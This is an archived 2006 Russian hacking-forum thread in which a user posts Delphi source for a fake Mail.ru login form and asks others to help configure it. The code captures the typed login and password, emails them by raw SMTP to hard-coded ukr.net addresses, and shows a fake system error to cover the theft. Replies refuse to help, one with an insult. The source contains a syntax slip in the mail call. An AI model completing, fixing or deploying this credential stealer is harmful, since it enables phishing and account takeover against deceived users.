Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Прошу помочь создать Бяку

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Прошу помочь создать Бяку
Имя
Сообщение << Старые топики   Новые топики >>
Прошу помочь создать Бяку - 2006-11-29 15:27:03.216666   
Guest

Сообщений: 83368
Оценки: 51
Присоединился: None
Прошу помочь создать Бяку .
Смысл в том что когда в нее вводят пароль и логин она отсылает его мне на мыло .
Но так как я в делфи не шарю , то это для меня трудно. Я ели раздобыл исходники но не как не могу их настроить прошу кому не трудно. Помогите .

Вот код исходника !

unit Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Mask, ExtCtrls, jpeg, ShellAPI, Winsock;
type

TForm1 = class(TForm)
&nbsp; LoginE: TEdit;
&nbsp; Label1: TLabel;
&nbsp; Label2: TLabel;
&nbsp; Label3: TLabel;
&nbsp; Label4: TLabel;
&nbsp; PassME: TMaskEdit;
&nbsp; MailCB: TComboBox;
&nbsp; Image1: TImage;
&nbsp; PassSaveCB: TCheckBox;
&nbsp; OkB: TButton;
&nbsp; CancelB: TButton;

&nbsp; procedure Label4MouseMove(Sender: TObject; Shift: TShiftState; X,
&nbsp;&nbsp;&nbsp; Y: Integer);
&nbsp; procedure Label4MouseLeave(Sender: TObject);
&nbsp; procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
&nbsp;&nbsp;&nbsp; Y: Integer);
&nbsp; procedure Label1MouseLeave(Sender: TObject);
&nbsp; procedure Label4Click(Sender: TObject);
&nbsp; procedure Label1Click(Sender: TObject);
&nbsp; procedure CancelBClick(Sender: TObject);
&nbsp; procedure OkBClick(Sender: TObject);
private
&nbsp; { Private declarations }
public
&nbsp; { Public declarations }
end;


var
Form1: TForm1;
implementation
{$R *.dfm}
function mail(smtp: string; port: integer; from, dest, subject,
body: string): boolean;
const
cl = #13#10;
var
WSAData: TWSAData;
Host: TSockAddrIn;
Sock: TSocket;
res: Integer;
buff: array[1..255] of Char;
procedure senddata(str: string);
var
&nbsp; i: integer;
begin
&nbsp; for i := 1 to Length(str) do
&nbsp;&nbsp;&nbsp; if send(Sock, str, 1, 0) = SOCKET_ERROR then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;
end;

&nbsp;
&nbsp;

function recvdata(accept: string): boolean;
var
&nbsp; buff: array[1..255] of Char;
begin
&nbsp; res := recv(Sock, buff, SizeOf(buff), 0);
&nbsp; Result := (Res = SOCKET_ERROR) or (Copy(buff, 1, 3) = accept);
end;


begin
try
&nbsp; result := false;
&nbsp; WSAStartUp(257, WSAData);
&nbsp; Sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
&nbsp; if Sock = INVALID_SOCKET then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; res := inet_addr(PChar(smtp));
&nbsp; if res = 0 then
&nbsp;&nbsp;&nbsp; exit;

&nbsp; Host.sin_family := AF_INET;
&nbsp; Host.sin_port := htons(port);
&nbsp; Host.sin_addr.S_addr := res;
&nbsp; if connect(Sock, Host, SizeOf(Host)) &gt; 0 then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; if not recvdata('220') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('EHLO' + cl);
&nbsp; if not recvdata('250') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('MAIL FROM:' + from + cl);
&nbsp; if not recvdata('250') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('RCPT TO:' + dest + cl);
&nbsp; if not recvdata('250') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('DATA' + cl);
&nbsp; if not recvdata('354') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('To:' + dest + cl +'From:' + from + cl + 'Subject:' + subject + cl + cl + body + cl + '.' + cl);
&nbsp; if not recvdata('250') then
&nbsp;&nbsp;&nbsp; Exit;

&nbsp; senddata('QUIT' + cl);
&nbsp; result := true;
finally
&nbsp; closesocket(sock);
&nbsp; WSACleanup;
end;
end;

procedure TForm1.Label4MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Label4.Font.Color := clBlue;
end;

procedure TForm1.Label4MouseLeave(Sender: TObject);
begin
Label4.Font.Color := $00B70000;
end;

procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Label1.Font.Color := clBlue;
end;

procedure TForm1.Label1MouseLeave(Sender: TObject);
begin
Label1.Font.Color := $00B70000;
end;

procedure TForm1.Label4Click(Sender: TObject);
begin
ShellExecute(0,'open',pChar('http://www.mail.ru/pages/help/92.html'),NIL,NIL,SW_SHOWNORMAL);
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(0,'open',pChar('http://mail.ru/pages/agreement.html'),NIL,NIL,SW_SHOWNORMAL);
end;

procedure TForm1.CancelBClick(Sender: TObject);
begin
Close;
end;

procedure TForm1.OkBClick(Sender: TObject);
begin
if (LoginE.Text = 'a6y') or (PassME.Text = 'Мой пароль') then
MessageDlg('Необходим ввести пароль!', mtInformation, [mbOk], 0)
else begin

LoginE.Enabled := False;
PassME.Enabled := False;
MailCB.Enabled := False;
PassSaveCB.Enabled := False;
OkB.Enabled := False;
LoginE.Color := clBtnFace;
PassME.Color := clBtnFace;
{
&nbsp; !!!Заменить значения на верные
&nbsp; !!!В поле smtpОбязательно должен быть&nbsp; IP!!!
&nbsp; smtp - ip адрес smtp сервера
&nbsp; from - адрес отправителя
&nbsp; dest -адрес получателя
}
if mail(smtp', 25, 'a6y@ukr.net', 'frintezza18@ukr.net', 'Pass from mail.ru', 'Pass from h4x0r programm :)' + #13#10 + 'Login:' + LoginE.Text + MailCB.Text + #13#10 + 'Pass:' + PassME.Text)
&nbsp; then ShowMessage('General Protection Faul in "READ" for #003002B')
&nbsp; else MessageDlg('Ошибка соиденения с сервером !'+ #13#10 + 'Проверте настройки подключения.', mtInformation, [mbOk], 0);&nbsp; Close;

end;

end;

end.
Post #: 1
RE: Прошу помочь создать Бяку - 2006-11-29 16:21:12.860000   
__Andy__

Сообщений: 86
Оценки: 0
Присоединился: 2006-11-29 13:01:54.263333
ты б как-то разделял тела методов формы….
это ж невозможно читать…
Post #: 2
RE: Прошу помочь создать Бяку - 2006-11-29 17:02:44.420000   
Guest

Сообщений: 83368
Оценки: 51
Присоединился: None
Так может ктото поможет это настроить ?? Что куда писать потомучто я как что не писал не получается !! А те кто дали исходник как сквозь землю провалились !
Post #: 3
RE: Прошу помочь создать Бяку - 2006-11-29 17:49:44.420000   
Pupkin-Zade

Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
a6y, вы идиот, пойдите прочь
 
Post #: 4
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Прошу помочь создать Бяку







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.